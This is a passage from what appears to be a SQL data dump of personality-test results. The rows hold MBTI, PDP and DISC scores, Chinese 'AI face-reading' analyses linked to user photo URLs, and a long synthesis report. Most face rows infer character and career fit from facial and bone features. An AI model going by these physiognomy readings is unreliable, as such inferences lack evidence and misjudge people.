\"内敛克制,思考深入,偏好独立决策与长期规划;重视逻辑和证据,对自己与他人要求高,人际保持适度距离但可靠守信。\"}', NULL, NULL, 1, 0, 200, NULL, 1772779594, 1772779594, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (75, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、稳健克制,擅长谋划与统筹,适合承担关键决策与长期规划角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏木金形,骨骼端正不张扬,骨肉均衡,属稳健谋略型,更重长线布局与结构把控。\", \"faceAnalysis\": \"额头饱满开阔,双眼内敛专注,鼻准端正,嘴形收敛有度,整体气质理性稳重、主思考少外露情绪。\", \"personalitySummary\": \"内向理性,重逻辑与秩序,行事低调却目标清晰,决策慎重且坚持原则,偏策略与分析型性格。\"}', NULL, NULL, 1, 0, 101, NULL, 1772780350, 1772780350, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (76, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质沉稳内敛,思维细致周全,善于洞察人心与趋势,适合做策略规划与决策参谋型角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"面廓偏圆中带方,下颌收束有力,骨感不突但有支撑感,属土水兼具之相,稳健中含灵动与包容。\", \"faceAnalysis\": \"额头饱满圆润,眉目温和含笑,眼神内敛而专注,整体给人理性稳重、亲和可信赖的印象。\", \"personalitySummary\": \"重视内在价值与长期意义,行事谨慎有原则,待人温和却坚持立场,擅长系统思考与整合信息。\"}', NULL, NULL, 1, 0, 101, NULL, 1772780684, 1772780684, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (77, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"理性温和、内敛专注,善于观察与思考,重视深度与原则,适合专业型与策划型发展路径。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感略显、线条清瘦,颧骨内敛不外突,下颌柔和略尖,属思考型与感知型骨相,以智慧与洞察见长。\", \"faceAnalysis\": \"额头饱满顺势,眼神沉静带思考,鼻梁细直,嘴唇柔和偏薄,整体五官清秀带理性气质。\", \"personalitySummary\": \"性格安静理性,重视独立空间与思考深度,做事谨慎有条理,对他人体察细腻但不张扬,擅长在幕后规划与支撑全局。\"}', NULL, NULL, 1, 0, 101, NULL, 1772781830, 1772781830, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (78, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性且具洞察力,内敛中带坚持,适合深度思考与稳健推进型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"面部线条偏细长,骨感略显,骨肉关系骨重肉薄,五官集中,呈内敛专注型格局,擅长细致思考与长期坚持。\", \"faceAnalysis\": \"额头较高,眉眼柔和内敛,鼻梁清秀,嘴唇偏薄收敛,下巴略尖,整体给人理智温和、思虑周全的印象。\", \"personalitySummary\": \"性格安静专注,情绪稳定,重视原则与边界。做事有计划,追求质量与深度,人际相对克制但真诚可靠。\"}', NULL, 77, 1, 0, 101, NULL, 1772782874, 1772783583, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (79, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 1, 0, 101, NULL, 1773036842, 1773036842, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (80, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773037039, 1773037039, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (81, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773037702, 1773037702, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (82, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773038120, 1773038120, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (83, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773038934, 1773038934, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (84, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 1, \"Peacock\": 19, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-09T06:51:16.469Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 5, \"Peacock\": 95, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 11, \"secondaryType\": \"Tiger\"}', NULL, NULL, 0, 0, NULL, NULL, 1773039076, 1773039076, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (85, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 0, \"Peacock\": 20, \"Chameleon\": 0}, \"answers\": {\"1\": \"Peacock\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-09T07:09:22.827Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 0, \"Peacock\": 100, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 18, \"secondaryType\": \"Tiger\"}', NULL, NULL, 0, 0, NULL, NULL, 1773040162, 1773040162, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (86, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773042949, 1773042949, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (87, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 0, \"I\": 20, \"S\": 0}, \"answers\": {\"1\": \"I\", \"2\": \"I\", \"3\": \"I\", \"4\": \"I\", \"5\": \"I\", \"6\": \"I\", \"7\": \"I\", \"8\": \"I\", \"9\": \"I\", \"10\": \"I\", \"11\": \"I\", \"12\": \"I\", \"13\": \"I\", \"14\": \"I\", \"15\": \"I\", \"16\": \"I\", \"17\": \"I\", \"18\": \"I\", \"19\": \"I\", \"20\": \"I\"}, \"completedAt\": \"2026-03-09T08:12:52.575Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", \"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 0, \"D\": 0, \"I\": 100, \"S\": 0}, \"dominantType\": \"I\", \"testDuration\": 17, \"secondaryType\": \"D\"}', NULL, NULL, 0, 0, NULL, NULL, 1773043972, 1773043972, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (88, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 0, \"I\": 20, \"S\": 0}, \"answers\": {\"1\": \"I\", \"2\": \"I\", \"3\": \"I\", \"4\": \"I\", \"5\": \"I\", \"6\": \"I\", \"7\": \"I\", \"8\": \"I\", \"9\": \"I\", \"10\": \"I\", \"11\": \"I\", \"12\": \"I\", \"13\": \"I\", \"14\": \"I\", \"15\": \"I\", \"16\": \"I\", \"17\": \"I\", \"18\": \"I\", \"19\": \"I\", \"20\": \"I\"}, \"completedAt\": \"2026-03-09T08:21:35.366Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", \"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 0, \"D\": 0, \"I\": 100, \"S\": 0}, \"dominantType\": \"I\", \"testDuration\": 18, \"secondaryType\": \"D\"}', NULL, NULL, 0, 0, NULL, NULL, 1773044495, 1773044495, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (89, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-09T09:04:40.997Z\", \"confidence\": 100, \"completedAt\": \"2026-03-09T09:04:40.997Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 30, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 0, 0, NULL, NULL, 1773047081, 1773047081, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (90, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 3, \"Peacock\": 17, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Tiger\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-09T09:05:34.273Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 15, \"Peacock\": 85, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 16, \"secondaryType\": \"Tiger\"}', NULL, NULL, 0, 0, NULL, NULL, 1773047134, 1773047134, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (91, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773047182, 1773047182, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (92, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773047511, 1773047511, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (93, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773109282, 1773109282, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (94, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773109761, 1773109761, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (95, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性稳健,善于规划与分析,做事有节奏,抗压与持续力强,适合深度思考与系统搭建型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606dde213.19573884.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606a57237.43033150.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606bdb774.70305849.jpg\"], \"boneAnalysis\": \"额区骨势平正,中上停过渡顺畅,骨肉均衡偏稳健型,属土金气质,重视现实与长期稳步推进。\", \"faceAnalysis\": \"额头饱满略宽,眼神沉稳有聚焦力,眉眼距离适中,整体给人理性内敛、思路清晰的印象。\", \"personalitySummary\": \"性格内敛理智,重视逻辑与结构,做事有计划感与原则边界,偏结果导向,不喜情绪化,人际上选择性投入,信任后稳定可靠。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773127193, 1773127193, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (96, 1, 'resume', '{\"content\": \"综合分析生成失败,请稍后重试。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 0, 0, NULL, 1773129576, 1773129576, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (97, 1, 'resume', '{\"content\": \"下面这几份测评结果之间存在明显冲突(AI 面相:INTJ+D/C、问卷:ESTJ、PDP:孔雀85%+老虎15%、DISC:I 型100%),说明: \\n- 一部分结果偏“内向、理性、规划型”(INTJ / D+C); \\n- 另一部分则是典型“外向、表现、社交型”(ESTJ / 孔雀 / I 型)。 \\n\\n要得出“真实性格画像”,需要**假定真实人是一个:外向、偏理性、行动导向,兼具表达欲与管理意识的人**。下面是基于测评交叉验证 + 典型画像的综合结论(简历细节看不到,只能弱化对具体行业/岗位的判断,也会提示哪些点需要你自己对照验证)。\\n\\n---\\n\\n## 一、核心性格关键词(归纳后的人格底色)\\n\\n- 外向表达:强社交驱动力,喜欢说、敢表达、在群体中有存在感。 \\n- 现实务实:关注“现在怎么做”“事情如何落地”,不沉迷空想。 \\n- 结果导向:重视目标、绩效和可见成果,有一定“赢”的欲望。 \\n- 逻辑清晰:结构化思考,能把事情拆解、排序、制定步骤。 \\n- 主动掌控:偏喜欢主导、组织、发起,而不是被动跟随。 \\n- 情绪乐观:基调偏阳光,抗挫后容易自我鼓励再冲一次。 \\n- 自我要求高:对自己在他人眼中的表现和成就感有强需求。\\n\\nAI 面相给出的 “INTJ / 老虎+猫头鹰 / D+C” 更像你在“独立思考、冷静决策”时的理性内核;问卷测评 “ESTJ / 孔雀 / I 型” 更像你在“工作场景+社交场景”中的对外表现。整体呈现为:**外向型管理者 + 理性分析底色**。\\n\\n---\\n\\n## 二、真实性格深度分析\\n\\n### 1. 性格底色与潜在特质(结合生日倾向 + INTJ/ESTJ 混合特征)\\n\\n在不做玄学的前提下,生日只作为“人生阶段”判断: \\n- 若目前在 25–35 岁:通常是**从“表现者”向“管理者”过渡期**,会从单纯爱表现、爱说服,转向更重视结果与权威; \\n- 若在 30+:更容易体现出“控制局面、规划全盘”的一面。\\n\\n结合 INTJ(规划+逻辑)与 ESTJ(执行+管理)两种画像,你的**本质并不是真·情绪型社交咖,而是一个有计划、讲逻辑的人,只是社交和表达能力也很强**。 \\n\\n潜在特质包括: \\n- 有“我要做出点成绩”的强内驱; \\n- 对“组织、规则、流程”有天然敏感; \\n- 面子与他人评价对你重要,会驱动你多做、多争取舞台; \\n- 内心并不完全随性,喜欢自己心里有一张“路线图”。\\n\\n### 2. 真实行为风格(结合工作经历推断)\\n\\n虽然没看到具体简历内容,只能按常见轨迹做逻辑推演,需要你自己对照:\\n\\n**若你的工作经历包含:销售、商务、市场、项目协调、管理岗:** \\n- 高度符合“ESTJ + 孔雀 + I 型”: \\n - 乐于外出、谈判、主持会议、做方案汇报; \\n - 在团队中易演变成“说话多、推动力强”的那个人; \\n - 对流程、进度节点、业绩数字敏感,催进度、要结果不含糊。 \\n\\n**若你的经历更偏:运营管理、项目管理、团队负责人:** \\n- 说明你的“控制+规划”部分已经被激活: \\n - 能把复杂任务拆分成步骤,安排到人,跟踪落地; \\n - 在出现问题时,先分析逻辑和责任,再考虑情感安抚; \\n - 会用数据、事实说话,而不是仅靠情绪鼓舞。 \\n\\n整体行为模式可概括为: \\n> “先把人带动起来 → 再用结构和规则把事情落地 → 完成目标后又希望得到认可和掌声。”\\n\\n### 3. 抗压能力与做事习惯\\n\\n- **抗压能力** \\n - 对“短期高压、快节奏、强目标”的环境适应度高(如季度冲刺、项目节点)。 \\n - 在“持续模糊、长期看不到结果”的环境中会烦躁,容易质疑方向或改变路径。 \\n\\n- **做事习惯** \\n - 偏爱“有清晰目标+时间节点”,喜欢列计划、做表格、做排期。 \\n - 执行上快,愿意边干边调整,不喜拖延。 \\n - 对细节能做到“80 分认真”,但在极端细腻、重复性细活上容易浮躁。 \\n\\n- **人际模式** \\n - 在团队中倾向于做“气场较强的核心人物”:要么是领头羊,要么是关键 KOL。 \\n - 习惯用“讲道理+讲结果”方式沟通,可能略显直接。 \\n - 对“低效、拖延、不负责”的人容忍度低,容易在语气上带出不耐烦。 \\n\\n这部分与 D 型(主导)、I 型(影响)、老虎(行动)、孔雀(表现)高度吻合。\\n\\n---\\n\\n## 三、测评交叉验证:去伪存真的人格画像\\n\\n### 1. MBTI 冲突的校正\\n\\n- 面相:INTJ(内向+理性+规划) \\n- 问卷:ESTJ(外向+理性+执行) \\n\\n结合 PDP / DISC 的高孔雀、高 I 型,**你的现实工作中更接近 ESTJ:外向、现实、讲规则、强调结果**。 \\nINTJ 的成分可能体现在: \\n- 你比典型“社牛”多一点**独立思考和逻辑规划**; \\n- 在做关键决策时,你倾向先自己冷静想一圈,再去说服别人,而不是一味随大家; \\n- 有一定“看不惯低效率”的完美主义倾向。\\n\\n结论: \\n> MBTI 上更接近:E–S–T–J,带一点 N(规划、抽象思考)的影子,远离 F(过度感性)。\\n\\n### 2. PDP:孔雀 85% + 老虎 15%\\n\\n- 孔雀:表现、影响力、情绪感染。 \\n- 老虎:目标、控制、竞争。 \\n\\n你看起来不是“单纯爱玩爱聊”的孔雀,而是“带野心、带结果意识的孔雀”。 \\n- 在需要舞台感、演讲、主持、推动氛围的场景,你会很自然地站出来; \\n- 一旦涉及利益、成绩、晋升,会明显激活“老虎”那一面:更强势、更坚持原则。 \\n\\n### 3. DISC:I 型 100%,第二为 